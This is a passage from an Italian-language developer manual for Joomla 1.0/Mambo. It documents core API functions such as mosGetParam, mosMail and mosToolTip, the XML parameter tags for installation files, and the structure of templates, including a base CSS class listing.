Restituisce un oggetto di classe `mosPHPMailer`.

2.15 Funzione `mosCurrentDate()`

```
1 string mosCurrentDate([string $format=""]);
```

Listato 73: Sintassi `mosCurrentDate`

Funzione che restituisce la data corrente (impostata sul server web), in accordo con il formato passato per argomento. Il formato è lo stesso utilizzato dalla funzione predefinita di PHP `strftime()`: si veda it2.php.net/manual/it/function.strftime.php per maggiori dettagli.

2.16 Funzione `mosErrorAlert()`

```
1 void mosErrorAlert(string $text[, string $action='window.history.go(-1);', int $mode=1]);
```

Listato 74: Sintassi `mosErrorAlert`

Funzione che visualizza a video un popup JavaScript contenente un messaggio di errore. I parametri sono:

`$text` messaggio di errore da visualizzare

`$action` istruzione Javascript da eseguire

`$mode` modalità di funzionamento; se vale 2, il messaggio viene ignorato e viene eseguito solamente `$action`; in tutti gli altri casi, viene visualizzato il messaggio e poi eseguito `$action`.

2.17 Funzione `mosFormatDate()`

```
1 string mosFormatDate(string $date[, string $format="", int $offset=null]);
```

Listato 75: Sintassi `mosFormatDate`

Funzione che restituisce la data (in formato *datetime*) passata come argomento `$date`, in accordo con il formato `$format`, ed aggiungendo l'eventuale offset del fuso orario; se l'offset non viene specificato, viene utilizzato quello predefinito di Joomla.

Il formato è lo stesso utilizzato dalla funzione predefinita di PHP `strftime()`: si veda il sito di riferimento it2.php.net/manual/it/function.strftime.php per maggiori dettagli.

2.18 Funzione `mosGetBrowser()`

```
1 string mosGetBrowser(string $agent);
```

Listato 76: Sintassi `mosGetBrowser`

Funzione che riceve la stringa completa di identificazione del browser⁶ e restituisce il nome del browser.

2.19 Funzione `mosGetOS()`

```
1 string mosGetOS(string $agent);
```

Listato 77: Sintassi `mosGetOS`

Funzione che riceve la stringa completa di identificazione del browser⁷ e restituisce il nome del sistema operativo.

2.20 Funzione `mosGetParam()`

`mosGetParam()` è una funzione molto utilizzata in moduli e componenti, per recuperare le informazioni provenienti da un'altra pagina, ad esempio via GET, POST, COOKIE, ...

E' bene utilizzare questa funzione al posto dei normali metodi (ad esempio `$_GET["var"]`, `$_POST["var"]`, ...) perchè tutte le informazioni vengono depurate di eventuale codice HTML

⁶ad esempio Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

⁷ad esempio Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

presente e spazi bianchi all'inizio ed alla fine.

Inoltre, se PHP viene settato con `magic_quotes_gpc=off`, la funzione provvede a rimuovere automaticamente apici, doppi apici, backslash e caratteri nulli, effettuandone l'escape⁸. Nel caso in cui `magic_quotes_gpc=on` è PHP stesso ad effettuare l'escape delle variabili array superglobali `$_ENV`, `$_GET`, `$_POST`, `$_REQUEST`, `$_COOKIE`, `$_GLOBALS` e `$_SERVER`.

Nel caso in cui le informazioni recuperate dalla funzione `mosGetParam()` debbano essere memorizzate all'interno di un database, è bene effettuare un passaggio aggiuntivo e più specifico di escape, realizzabile mediante il metodo `$database->getEscaped()` (vedi 2.3.4).

La sintassi della funzione è la seguente:

```
1 mixed mosGetParam(array &$arr, string $name [, mixed $default=null [, int $mask=0 ]]);
```

Listato 78: Sintassi `mosGetParam`

I cui parametri sono:

`$arr` rappresenta l'array da cui ricavare le informazioni; può essere un array qualsiasi, ma solitamente vengono usati gli array superglobali come `$_POST`, `$_GET`, ...

`$name` è il nome del parametro da recuperare

`$default` rappresenta il valore di default da restituire nel caso in cui il parametro `$name` non esistesse nell'array `$arr`; se viene omissso, il valore è `null`

`$mask` è un parametro opzionale che può assumere i seguenti valori:

`_MOS_ALLOWHTML` Non elimina i tag HTML dalle informazioni recuperate, ma solo gli spazi bianchi all'inizio e alla fine

`_MOS_NOTRIM` Non elimina gli spazi bianchi all'inizio e alla fine delle informazioni recuperate, ma solamente i tag HTML

`_MOS_ALLOWRAW` Non filtra i dati in nessun modo, combinando di fatto le due opzioni precedenti

Se viene omissso vale 0, ossia filtraggio completo

Vediamo alcuni esempi per fare maggiore chiarezza:

```
1 /* recupero del parametro "task" passato via GET; se non esiste viene impostato a "show" */
2 $task = mosGetParam($_GET, "task", "show");
3
4 /* recupero del parametro "id" passato via GET, POST o COOKIE;
5  se il parametro non esiste viene impostato a 0; conversione del risultato a numero intero */
6 $id = intval(mosGetParam($_REQUEST, "id", 0));
7
8 /* recupero del parametro "name" passato via POST; se non esiste viene impostato a null;
9  nessuna eliminazione degli spazi bianchi all'inizio e alla fine */
10 $name = mosGetParam($_POST, "name", _MOS_NOTRIM);
```

⁸ossia antepoendo un carattere di backslash

2.21 Funzione `mosMakePassword()`

```
1 string mosMakePassword([int $length=8]);
```

Listato 79: Sintassi `mosMakePassword`

Funzione che restituisce una password casuale alfanumerica di lunghezza pari al parametro.

2.22 Funzione `mosMail()`

```
1 boolean mosMail(string $from, string $fromname, mixed $recipient,  
2 string $subject, string $body[, int $mode=0[, mixed $cc=null[, mixed $bcc=null[,  
3 mixed $attachment=null[, mixed $replyto=null[, mixed $replytoname=null]]]]]);
```

Listato 80: Sintassi `mosCreateMail`

La funzione `mosMail` prepara ed invia una mail, sfruttando l'altra funzione `mosCreateMail`. Il metodo di invio utilizzato è quello configurato all'interno di Joomla. I parametri sono:

`$from` indirizzo email del mittente

`$fromname` nome del mittente

`$recipient` indirizzo del destinatario della mail; se sono più di uno vanno inseriti in un array

`$subject` oggetto della mail

`$body` corpo della mail

`$mode` modalità della mail (0 = testo, 1 = HTML)

`$cc` indirizzo del destinatario in *copia carbone*; se sono più di uno vanno inseriti in un array

`$bcc` indirizzo del destinatario in *copia carbone nascosta*; se sono più di uno vanno inseriti in un array

`$attachment` nome del file allegato (deve risiedere sul server in una directory accessibile da Joomla); se sono più di uno vanno inseriti in un array

`$replyto` indirizzo di risposta; se sono più di uno vanno inseriti in un array

`$replytoname` nome associato all'indirizzo di risposta; se sono più di uno vanno inseriti in un array

Restituisce `true` in caso di successo, `false` altrimenti.

2.23 Funzione `mosNotAuth()`

```
1 void mosNotAuth();
```

Listato 81: Sintassi `mosNotAuth`

Visualizza un messaggio di accesso non autorizzato.

Se l'utente non è loggato, viene aggiunto un invito ad effettuare il login.

2.24 Funzione mosObjectToArray()

La funzione `mosObjectToArray()` converte il contenuto di un oggetto in un array associativo. Ogni variabile viene analizzata e memorizzata in un array; eventuali oggetti incorporati vengono ricorsivamente convertiti in array.

Restituisce un array associativo contenente tutte le proprietà dell'oggetto: le chiavi dell'array sono rappresentate dal nome, di conseguenza i valori.

In caso di errore o nel caso in cui il parametro non sia un oggetto, restituisce `null`.

La sintassi della funzione è la seguente:

```
1 array mosObjectToArray(object $obj);
```

Listato 82: Sintassi mosObjectToArray

Il cui parametro è:

`$obj` oggetto che deve essere convertito

Facciamo un esempio pratico, considerando il codice seguente:

```
1 class Persona {
2     var $nome;
3     var $cognome;
4     var $indirizzo ;
5 }
6
7 class Indirizzo {
8     var $via;
9     var $citta;
10    var $cap;
11
12    // costruttore della classe
13    function Indirizzo($a, $b, $c) {
14        $this->via = $a;
15        $this->citta = $b;
16        $this->cap = $c;
17    }
18 }
19
20 function mostraOggettoConvertito() {
21     $obj = new Persona();
22
23     $obj->nome = "Mario";
24     $obj->cognome = "Rossi";
25     $obj->indirizzo = new Indirizzo("via Monte Napoleone 3", "Milano", "20100");
26
27     $arr = mosObjectToArray($obj);
28
29     foreach($arr as $key => $value)
30         echo "$key => $value<br/>";
31 }
32
33 mostraOggettoConvertito();
```

La chiamata alla funzione `mostraOggettoConvertito()`, produce il seguente output:

```
1 nome => Mario
2 cognome => Rossi
3 via => Array
```

2.25 Funzione `mosReadDirectory()`

Funzione che legge l'elenco di file presenti in una directory e restituisce un array contenente i nomi di tali file.

```
1 array mosReadDirectory($path, $filter='.', $recurse=false[, $fullpath=false]);
```

Listato 83: Sintassi `mosReadDirectory`

I parametri sono:

`$path` percorso da analizzare

`$filter` filtro per il recupero dei nomi

`$recurse` ricerca ricorsiva nelle sottocartelle

`$fullpath` indica se aggiungere il path completo al nome del file

2.26 Funzione `mosRedirect()`

```
1 void mosRedirect(string $URL[, string $msg=""]);
```

Listato 84: Sintassi `mosRedirect`

Funzione che carica la pagina passata come argomento; funzionamento analogo alla chiamata `header("location: ...");`.

Il secondo parametro, opzionale, rappresenta un messaggio di testo da visualizzare al termine della ridirezione.

2.27 Funzione `mosStripSlashes()`

La funzione `mosStripSlashes()` rimuove i backslash da una stringa o da un array di stringhe.

```
1 mixed mosStripSlashes(mixed &$value);
```

Listato 85: Sintassi `mosStripSlashes`

Se l'argomento `$value` è una stringa, viene restituito il singolo valore modificato.

Se l'argomento `$value` è un array di stringhe, viene restituito un array con tutti gli elementi modificati.

2.28 Funzione `mosToolTip()`

La funzione `mosToolTip()` crea il codice HTML necessario alla visualizzazione di un tooltip, ossia un'icona o un testo che visualizza una piccola finestra informativa al passaggio del mouse. Per garantirne il funzionamento, il file `overlib_mini.js` deve essere incluso nell'output della pagina; il file è situato nella directory `/includes/js` di Joomla. E' possibile effettuare l'inclusione semplicemente invocando il metodo:

```
1 mosCommonHTML::loadOverlib();
```

La sintassi della funzione è la seguente:

```
1 array mosToolTip(string $tooltip [, string $title="" [, int $width=200 [, string $image=" ↵
  ↵ tooltip.png" [, string $text="" [, string $href="#" [, boolean $link=1 ]]]]]);
```

Listato 86: Sintassi `mosToolTip`

I cui parametri sono:

`$tooltip` testo da visualizzare nel tooltip

`$title` titolo della finestra del tooltip; se omesso vale ""

`$width` larghezza del tooltip, in pixel; se omesso viene utilizzato il valore definito nella libreria `overlib`, 200

`$image` nome dell'immagine del trigger⁹, relativo alla directory `/includes/js/ThemeOffice`; viene visualizzata solamente se `$text` è vuoto o mancante; se omesso vale `tooltip.png`

`$text` testo da visualizzare nella pagina come trigger del tooltip; se omesso vale "" ed al suo posto viene utilizzata l'immagine specificata nel parametro `$image`

`$href` URL o link da caricare nel caso in cui si clicchi sull'elemento rappresentato da `$image` o `$text`; se omesso vale "#"

`$link` valore booleano che specifica se il trigger deve essere un link (tag `<a>`) oppure no (tag ``); se omesso vale 1

Vediamo un esempio di tooltip grafico, il cui link punta al sito web italiano di Joomla:

```
1 function tooltipToSite() {
2     global $mosConfig_live_site;
3
4     echo mosToolTip(
5         "Questo è il testo descrittivo del tooltip", // tooltip
6         "Vai al sito", // title
7         "", // width
8         "tooltip.png", // image
9         "Community italiana", // text
10        "http://www.joomla.it", // href
11        1 // link
12    );
```

⁹elemento che invoca il tooltip

```

13
14     echo "<script type=\"text/javascript\" .
15         \" src=\"\$mosConfig_live_site/includes/js/overlib_mini.js\">\" .
16         \"</script>\";
17     }
18
19     tooltipToSite();

```

La funzione precedente, genererà il seguente codice HTML per visualizzare il tooltip:

```

1 <a href="http://www.joomla.it"
2   onMouseOver="return overlib('Questo è il testo descrittivo del tooltip',
3     ↳ CAPTION, 'Vai al sito', BELOW, RIGHT);"
4   onMouseout="return nd();" >Community italiana</a>
5 <script type="text/javascript"
6   src="http://www.dominio.it/joomla/includes/js/overlib_mini.js">
  </script>

```

2.29 Funzione `mosWarning()`

```

1 string mosWarning(string warning[, string $title='Joomla! Warning']);

```

Listato 87: Sintassi `mosWarning`

Funzione che visualizza un'icona di *warning*, da utilizzare per segnalare qualche tipo di malfunzionamento o errore.

I parametri sono:

`$warning` testo descrittivo del warning

`$title` titolo del popup

Restituisce il codice HTML necessario a visualizzare l'icona ed la finestra del messaggio al passaggio del mouse.

2.30 Funzione `sefRelToAbs()`

```

1 string sefRelToAbs(string $path);

```

Listato 88: Sintassi `sefRelToAbs`

Converte un percorso assoluto nel formato compatibile con il meccanismo SEF (Search Engine Friendly).

2.31 Funzione `SortArrayObjects()`

```

1 void SortArrayObjects(array &$a, string $k[, int $sort_direction=1]);

```

Listato 89: Sintassi `SortArrayObjects`

Ordina un array di oggetti, in base al valore di chiave passato come argomento.
I parametri sono:

`$a` array di oggetti da ordinare, passato per riferimento

`$k` chiave di ordinamento, ossia nome della proprietà dell'oggetto

`$sort_direction` direzione dell'ordinamento: 1 crescente, -1 decrescente

3 File di installazione

Ogni tipo di espansione (modulo, componente o mambot) necessita di essere installato e per fare ciò bisogna creare un opportuno file di installazione. Si tratta di un file XML contenente tutte le informazioni necessarie al processo di installazione, quali il nome, l'autore, i file da copiare, ... Questa sezione non presenta tutti i dettagli del file XML, in quanto questi verranno trattati approfonditamente nelle singole parti successive; tuttavia c'è una parte comune che verrà trattata ed è quella relativa alla definizione dei parametri, che permettono la configurazione dell'espansione e che vengono implementati in automatico da Joomla mediante form HTML.

3.1 Creazione dei parametri

Moduli e mambot possiedono codice PHP che esegue un qualche tipo di operazione; tuttavia un'espansione che non può essere configurata, a lungo termine risulta poco utile ed adattabile. Si pensi ad alcuni dei moduli predefiniti quali *Ultime notizie*, *I più letti*, *Sondaggi*, ...; tutti possiedono dei parametri per modificare, ad esempio, il numero di notizie da visualizzare, l'ordinamento, le categorie, ...

Tutti questi parametri vengono definiti all'interno del tag XML `<params>`, nel file di configurazione. Tale tag è una sorta di contenitore e contiene uno o più elementi `<param>`, ciascuno contenente la definizione completa di un parametro.

Una volta che i parametri sono stati creati, sarà possibile ricavarne il valore tramite la variabile `$params`, come illustrato nella sezione 2.4.

Anche i componenti possiedono parametri, ma la loro definizione avviene in maniera differente in quanto hanno una struttura più complessa. Nel loro caso, viene utilizzato direttamente il codice HTML per creare il form oppure la classe `mosHTML` (vedi appendice A).

3.1.1 Tag `<params>`

```
1 <params name="" description="">
2 </params>
```

Listato 90: Sintassi `<params>`

Il tag `<params>` possiede due attributi *opzionali*:

1. **name**, nome del gruppo di parametri
2. **description**, descrizione del gruppo di parametri

3.1.2 Tag <param>

```
1 <param name="" type="" default="" label="" description="" />
```

Listato 91: Sintassi <param>

Il tag <param> possiede 4 attributi:

1. **name**, nome del parametro (non deve contenere spazi)
2. **type**, tipo del parametro
3. **default**, valore di default
4. **label**, etichetta del parametro
5. **description**, descrizione del parametro, visualizzata mediante tooltip

L'attributo più importante è **type** in quanto stabilisce il tipo di parametro, ossia il componente del form HTML da utilizzare: casella di testo, casella combinata, checkbox, ...

Tale attributo può assumere i seguenti valori:

text rappresenta una semplice casella di testo <input type="text">, ad esempio:

```
1 <param name="numArt" type="text" default="5" label="Numero di articoli"
2   description="Numero di articoli da visualizzare" />
```

list rappresenta una casella combinata, ossia il tag <select>; le varie voci della casella vengono impostate come elementi figli del tag, ad esempio:

```
1 <param name="show" type="list" default="0" label="Visualizzazione"
2   description="Tipo di visualizzazione degli articoli">
3   <option value="0">Compatta</option>
4   <option value="1">Dettagliata</option>
5   <option value="2">Solo titoli</option>
6 </param>
```

radio rappresenta un casella di scelta, ossia il tag <input type="radio">; le varie opzioni vengono impostate come elementi figli del tag, ad esempio:

```
1 <param name="showName" type="radio" default="1" label="Mostra nome"
2   description="Mostra il nome dell'utente?">
3   <option value="1">Sì</option>
4   <option value="0">No</option>
5 </param>
```

Tutte le opzioni vengono disposte orizzontalmente

textarea rappresenta un'area di testo, ossia il tag <textarea>, ad esempio:

```
1 <param name="testo" type="textarea" default="" label="Descrizione"
2   rows="30" cols="5 description="Testo descrittivo da inserire in fondo"/>
```

Gli attributi `rows` e `cols` sono disponibili solamente per questo tipo di parametro

mos_section tipo avanzato che visualizza una casella combinata con l'elenco di tutte le sezioni di Joomla, ad esempio:

```
1 <param name="secId" type="mos_section" default="0" label="Sezioni"
2   description="Lista delle sezioni disponibili" />
```

Il valore restituito è l'ID della sezione, chiave primaria

mos_category visualizza una casella combinata con l'elenco delle categorie di Joomla, nella forma *nome Sezione-nome Categoria*; ad esempio:

```
1 <param name="catId" type="mos_category" default="0" label="Categorie"
2   description="Lista delle categorie disponibili" />
```

Il valore restituito è l'ID della categoria, chiave primaria

mos_menu visualizza una casella combinata con l'elenco dei menu usati nel sito, ad esempio:

```
1 <param name="tipoMenu" type="mos_menu" default="mainmenu"
2   label="Menu:" description="Nome del menu (il predefinito è mainmenu)" />
```

mos_imagelist visualizza l'elenco delle immagini presenti nella directory definita nell'attributo `directory`, ad esempio:

```
1 <param name="images" type="imagelist" directory="/images/M_images" default=""
2   label="Immagini" description="Selezionare l'immagine da utilizzare" />
```

La directory è relativa alla cartella di installazione di Joomla.

spacer inserisce una linea orizzontale di separazione, ad esempio:

```
1 <param name="@spacer" type="spacer" default="" label="" description="" />
```

In aggiunta alle tipologie elencate sopra, è anche possibile creare dei propri parametri personalizzati per potenziare il funzionamento di moduli e mambot. Per maggiori informazioni si consulti l'appendice D.

Parte Prima

Template

4 Struttura del template

Come più volte ribadito, essendo questo un manuale per lo sviluppatore e non per il grafico, tratteremo i template senza addentrarci negli aspetti pittorici; ci si limiterà infatti ad analizzarne la struttura in modo da essere in grado di effettuare personalizzazioni ed aggiunte.

Il template non è altro che un insieme di file HTML, PHP, CSS, immagini, logo e di tutti quei componenti che servono a definire la grafica del sito.

Il file `index.php`, situato all'interno della cartella `templates/NOME_TEMPLATE`, è un insieme di codice HTML e PHP con il quale si definiscono i blocchi e le relative posizioni, nonché altri elementi fondamentali al funzionamento di Joomla.

All'interno di tale cartella ne sono presenti altre, delle quali però non ci occuperemo, esse sono: `images` contenente le eventuali immagini di supporto al template e `css` contenente il foglio di stile `template_css.css` usato dal template.

4.1 Blocchi e posizione

Come prima cosa è bene capire come Joomla vada a posizionare i vari contenuti del sito.

Il meccanismo è abbastanza semplice e si basa sull'utilizzo di contenitori HTML¹⁰, detti *blocchi* definiti all'interno del template grafico. Ciascuno di questi blocchi possiede un nome identificativo del tipo *left*, *right*, *top*, ...

All'interno dei blocchi vengono *pubblicati* i moduli, ossia visualizzati. All'interno di uno stesso blocco possono essere visualizzati più moduli, in un ordine preciso stabilito dall'utente; in questo modo è possibile spostare in qualsiasi momento i moduli del proprio sito.

Fa eccezione un unico blocco, il *mainBody* che rappresenta la parte centrale della pagina in cui vengono visualizzati i contenuti dei componenti e che non è accessibile da parte dell'utente, ossia non vi possono essere pubblicati i moduli.

¹⁰in prima approssimazione, si potrebbero identificare con le celle `<td>` di una tabella `<table>`

4.2 Intestazione

L'intestazione della pagina¹¹ è tutto ciò che precede il tag `<body>` ed è una parte molto importante. La prima cosa da tenere in considerazione è la parte relativa alla definizione del tipo di documento, obbligatoria in tutti i documenti HTML:

```

1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
3 // separa il codice ISO dal tag HTML _ISO, che è nella forma charset=ISO-8859-1
4 $iso = explode( '=', _ISO );
5 // prologo XML
6 echo '<?xml version="1.0" encoding="' . $iso[1] . '?' . '>';
7 ?>
8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.
↳
↳ org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
9 <html xmlns="http://www.w3.org/1999/xhtml">
```

Listato 92: Template - intestazione

L'elemento fondamentale da ricordare è l'inserimento del codice di riga 2:

```

1 defined( '_VALID_MOS' ) or die( 'Restricted access' );
```

in quanto serve ad evitare che il file venga richiamato al di fuori dell'ambiente di Joomla. L'argomento verrà ripreso più avanti, l'importante per ora è ricordare di inserirlo sempre in ogni file creato.

Passiamo quindi all'intestazione vera e propria, ossia al tag `<head>`, analizzando un esempio di possibile intestazione:

```

1 <head>
2 <?php mosShowHead(); ?>
3 <?php
4 if ( $my->id ) {
5     initEditor ();
6 }
7 ?>
8 <meta http-equiv="Content-Type" content="text/html; <?php echo _ISO; ?>" />
9 <link href="<?php echo $mainframe->getCfg("live_site");?>/templates/rhuk_solarflare_ii/
↳
↳ css/template_css.css" rel="stylesheet" type="text/css"/>
10 </head>
```

Listato 93: Template - tag `<head>`

Sebbene sia abbastanza minimale, contiene gli elementi fondamentali per un template. Alla riga 2 viene inserito il codice PHP mediante il quale Joomla inserisce tutte le informazioni necessarie, quali i metatag `generator`, `keywords`, `description`, nonché il tag `<title>`, conformemente alla configurazione di Joomla stesso.

Alla riga 4 viene inserito il codice per abilitare l'editor dei contenuti nel frontend, nel caso in cui l'utente sia loggato.

Alla riga 9 viene inserito il tag `<link>` per referenziare il foglio di stile del template. L'indirizzo

¹¹ossia del file `index.php` di cui sopra

web del sito (nella forma `http://www.dominio.it`) viene prelevato dalla chiamata al metodo `$mainframe->getCfg("live_site")`, che recupera la variabile `$mosConfig_live_site` definita nel file di configurazione di Joomla.

4.3 Corpo

Il corpo è la parte centrale del template, quella che visualizza tutti i contenuti dei moduli e dei componenti. La parte fondamentale del corpo è il posizionamento dei blocchi, che avviene mediante la chiamata:

```
1 <?php mosLoadModules( 'left', -1 );?>
```

Listato 94: Template - posizionamento blocchi

Grazie a questa chiamata, nel punto in cui viene inserito il codice, verranno visualizzati tutti i *moduli* e pubblicati nel blocco stesso.

La funzione riceve due parametri: il primo è il nome del blocco da visualizzare, il secondo è un parametro che stabilisce come i moduli debbano essere visualizzati e può assumere i valori:

0 valore di default; i moduli sono visualizzati in una colonna

1 i moduli sono visualizzati orizzontalmente; ogni modulo è inserito nella cella di una tabella wrapper

-1 i moduli sono visualizzati in modalità *raw* e senza titoli

-2 i moduli sono visualizzati nel formato X-Joomla

-3 i moduli sono visualizzati in un formato che permette, ad esempio, angoli arrotondati ridimensionabili

Oltre alla funzione descritta sopra, esiste un'altra funzione fondamentale che serve a visualizzare il contenuto dei vari *componenti* installati:

```
1 <?php mosMainBody();?>
```

Listato 95: Template - corpo principale

Nel *mainBody* vengono visualizzati i componenti e non è possibile posizionarvi i moduli.

4.4 Piè di pagina

Il piè di pagina di tutto il sito può contenere qualsiasi informazione, ma sarebbe bene che contenesse le seguenti istruzioni¹²:

```
1 <?php include_once($mainframe->getCfg("absolute_path") . '/includes/footer.php'); ?>
2 <?php mosLoadModules('debug', -1); ?>
```

Listato 96: Template - piè di pagina

La prima istruzione serve a visualizzare le informazioni di copyright del sito e di Joomla, prelevando tali informazioni dal file `footer.php`.

La seconda istruzione serve ad inserire il blocco di debug, solitamente disattivato ma utile nel caso in cui si stia facendo debug, per cercare errori di funzionamento.

¹²non necessariamente nello stesso ordine

4.5 CSS di base

Ogni template fa uso del proprio foglio di stile e Joomla utilizza un insieme di classi predefinite che è necessario personalizzare per ottenere il layout desiderato.

Il listato che segue illustra tutte le classi predefinite utilizzate da Joomla; pertanto è sufficiente utilizzarlo come base per le proprie personalizzazioni, ricordando che non è obbligatorio usare tutte le classi.

```

1  /* TEMPLATE STANDARD E CSS COMPLETO PER JOOMLA 1.0.X e MAMBO 4.5.X */
2  /* Di Dinh Viet Hung (C) http://www.joomlart.com: Templates liberi e Club Template Professionali */
3
4  /* IMPOSTAZIONI PREDEFINITE */
5  /* Configurazione standard usata quando nessun altro stile è stato definito */
6  body {} /* stile per il tag body del sito, controlla la famiglia dei font, lo sfondo della pagina, ecc...*/
7  p {} /* formatta tutti gli articoli . Viene applicato a tutto solo se nessun altro stile è stato definito */
8  td {} /* formatta tutti gli articoli . E' usato se nessuno stile è stato definito */
9  tr {} /* formatta tutti gli articoli . E' usato se nessuno stile è stato definito */
10 ul {} /* formatta tutte le voci UL (lista non ordinata). E' usato se nessuno stile è stato definito */
11 a:link {} /* stile generale dei collegamenti */
12 a:visited {}
13 a:hover {}
14 hr {} /* linea orizzontale del vostro template */
15 hr.separator {}
16
17 /* IMPOSTAZIONI FORM */
18 .button {}
19 .inputbox {}
20 .search {} /* formattazione riguardante la ricerca: campo di testo, bottone ricerca, ... */
21
22 /* SETTAGGIO NAVIGAZIONE/MENU */
23 a.mainlevel {} /* Questo stile controlla le voci del menu principale */
24 a.mainlevel:link {}
25 a.mainlevel:visited {}
26 a.mainlevel:hover {}
27 #active_menu {} /* Questo stile serve alla voce attiva del menu, anche nella posizione principale e sotto menu */
28 ul#mainlevel-nav {}
29 ul#mainlevel-nav li {}
30 #mainlevel-nav a:link {}
31 #mainlevel-nav a:visited {}
32 #mainlevel-nav a:hover {}
33 a.sublevel {} /* Questo lo stile dei sottomenu */
34 a.sublevel:link {}
35 a.sublevel:visited {}
36 a.sublevel:hover {}
37 .pagenavbar {} /* Imposta lo stile per la navigazione del footer ("Fine >>") non appare come collegamento (solo ←
    ↪ quando pochi articoli sono presenti). */
38 .pagenavbar:link {} /* Stile per la navigazione del footer ("Fine >>") quando si trasforma in collegamento */
39 .pagenavbar:visited {}
40 .pagenav {} /* come implica il nome, è un testo di formattazione per i link "Fine >>" */
41 a.pagenav:visited {}
42 a.pagenav:hover {}
43 a.readon:link {} /* Stile per il collegamento "Leggi tutto" mostrato quando è presente un lungo articolo */
44 a.readon:hover {}
45 a.readon:visited {}
46 .back_button {} /* Stile per il bottone "[indietro]" */
47 .pagenav_prev {} /* Stile per il bottone "Prec." */
48 .pagenav_next {} /* Stile per il bottone "Pross." */
49 .latestnews ul {} /* Stile per l'ultima lista di notizie. Di default, Ultime Notizie è situato nel blocco user1 */
50 .latestnews li {}
51 .mostread ul {} /* Stile per gli articoli più letti. Di default, I più letti è situato nel blocco user2 */
52 .mostread li {}
53
54 /* SETTAGGIO CONTENUTO PAGINA */
55 a.category:link {}

```

```

56 a.category:hover {}
57 a.category:visited {}
58 .blogsection {} /* Formattazione dei collegamenti nella sezione Blog */
59 .blog_more {} /* Il testo "Leggi tutto" nella sezione Blog */
60 a.blogsection:link {} /* settaggio per i collegamenti del Blog */
61 a.blogsection:visited {} /* come sopra, ma setta il formato dei collegamenti visitati */
62 a.blogsection:hover {} /* come sopra, ma per i collegamenti modificati al passaggio del mouse */
63 .componentheading {} /* Titolo del componente usato per mostrare il contenuto.*/
64 .contentheading {} /* Titolo del componente articoli, etc. da visualizzare.*/
65 .contentpane {} /* Tabella che contiene tutte le informazioni non appartenenti agli articoli (componenti, lista
↳ categorie, modulo contatti, ecc ...) */
66 .contentpaneopen {} /* Tabella che contiene l'attuale testo per un articolo.*/
67 .contentpagetitle {} /* Titolo degli articoli */
68 a.contentpagetitle:hover {} /* Titoli degli articoli che appaiono come collegamenti */
69 a.contentpagetitle:link {}
70 a.contentpagetitle:visited {}
71 .contentdescription {} /* Formatta la descrizione delle sezioni e categorie */
72 table.contenttoc {} /* Formattazione della tabella dei Contenuti per pagine di contenuti o articoli multiple */
73 table.contenttoc td {} /* come sopra, usato per formattare il td e le celle */
74 table.contenttoc th {} /* come sopra, usato per formattare il th delle "Tabelle di contenuto" (normalmente l'
↳ indice degli articoli)*/
75 table.contenttoc td.toclink {} /* come sopra, usato per formattare i testi dei toc link*/
76 a.toclink:link {} /* come sopra, usato per formattare lo stato dei testi dei toc link*/
77 a.toclink:visited {}
78 a.toclink:hover {}
79
80 /* LISTA DELLE SEZIONI JOOMLA */
81 .sectiontableheader {} /* Questo per lo stile delle intestazioni nella pagina delle SEZIONI. Esempio: intestazione
↳ della "Data", "titolo articolo", "Autore" e "visite" */
82 .sectiontableentry1 {}
83 .sectiontableentry2 {}
84
85 /* FORMATTAZIONE DEI MODULI JOOMLA */
86 table.moduletable {} /* Formattazione della tabella modulo */
87 table.moduletable th {} /* Formattazione dei titoli del moduli */
88 table.moduletable td {} /* Formattazione delle celle della tabella del modulo */
89
90 /* VARIE */
91 /* Date , Autori*/
92 .createdate {} /* Per lo stile della data del contenuto/articoli creata sotto il titolo dei contenuti */
93 .modifydate {} /* Formattazione "Ultimo aggiornamento" alla fine dell'articoli/contenuti */
94 .small {} /* Formattazione testo "Scritto da:..." */
95 .smalldark {} /* Formattazione del testo del risultato della pagina cerca, per "Numero di Votanti" */
96
97 /* Sondaggi */
98 .poll {} /* Formatta il td della tabella sondaggi */
99 .pollstableborder {} /* configura la proprietà del bordo della tabella sondaggi */
100
101 /* Collegamenti */
102 .weblinks{} /* Formatta i titoli dei collegamenti sotto la sezione "collegamenti nell'area visiva del sito" */
103 a.weblinks:hover {} /* come sopra, ma per i collegamenti che ricevono il passaggio del mouse */
104
105 /* Newsfeeds */
106 .newsfeedheading {} /* I titoli del newsfeed. NOTA: Questo non influenzerà il titolo di notizie del newsfeed! */
107 .newsfeeddate {} /* yeah.. le date sul newsfeed */
108 .fase4rdf {} /* questo è il testo delle newsfeed */
109
110 /* pagina Cerca */
111 table.searchintro {} /* Questo per formattare il campo con la "Chiave di Ricerca: il test ha dato 4 risultati
↳ " l'area che compare dopo l'inserimento di un valore da cercare. Compare sulla pagina principale con i
↳ risultati di ricerca */
112
113 /* TAB DELL'INTERFACCIA AMMINISTRATIVA (FRONTEND) DEL SITO JOOMLA */
114 /* Il seguente CSS agisce sull' interfaccia amministrativa del sito (frontend) quando ci si è autenticati */
115 .ontab {} /* Per lo stile dei bottoni "Tab" quando si editano i contenuti attraverso l'area amministrativa (
↳ frontend). Questa classe .ontab è lo stile per le tabelle quando sono attive o quando sono state "
↳

```



```

116  ↪ cliccate" */
    .offtab {} /* Come sopra, usato per lo stile dei bottoni "Tab" quando si edita il contenuto attraverso l'area ↪
    ↪ frontend. Questo è lo stile per il linguetta che NON è attivo o quando non è "cliccato" */
117  .tabpadding {} /* Questo stile è usato per configurare il formato della tab */
118  .tabheading {} /* Non ho capito per cosa venga usato. Non sono riuscito a trovare qualche informazione relativa a ↪
    ↪ questa classe fino a questo momento. */
119  .pagetext {} /* Questo stile è usato per formattare il contenuto del modulo di pubblicazione dei contenuti (dove c' ↪
    ↪ è l' HTMLArea e tutti i suoi forms + contenuti) nell'interfaccia della gestione del frontend */

```

Listato 97: CSS di base

Una volta personalizzato, il file va copiato nella directory `templates/NOME_TEMPLATE/css` e chiamato `template_css.css`.

La procedura più corretta sarebbe in realtà quella di creare un apposito pacchetto di installazione, analogamente a quanto si vedrà per moduli, componenti, e mambot. Tuttavia la gestione dei template esula dagli scopi di questo manuale.

4.6 Esempio di template

Un possibile esempio, non esaustivo, di un template può essere il seguente:

```

1  <?php
2  defined( '_VALID_MOS' ) or die( 'Restricted access' );
3  $iso = explode( '=', _ISO );
